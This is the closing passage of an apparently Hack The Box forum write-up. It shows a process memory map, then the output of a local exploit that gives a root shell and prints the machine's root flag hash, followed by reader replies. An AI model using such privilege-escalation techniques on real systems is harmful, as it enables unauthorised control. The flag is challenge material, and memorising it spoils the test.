b7fd8000-b7fda000 r--p 00000000 00:00 0          [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0 
b7ffe000-b7fff000 r--p 00022000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0          [stack]



Filename:  /tmp/test/exploit
# id
uid=0(root) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
# cat /root/root.txt
9be653e014d17d1a54f9045e3220743c
7 Likes

Awesome write-up man!!
This was a great machine!! :raised_hands:

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.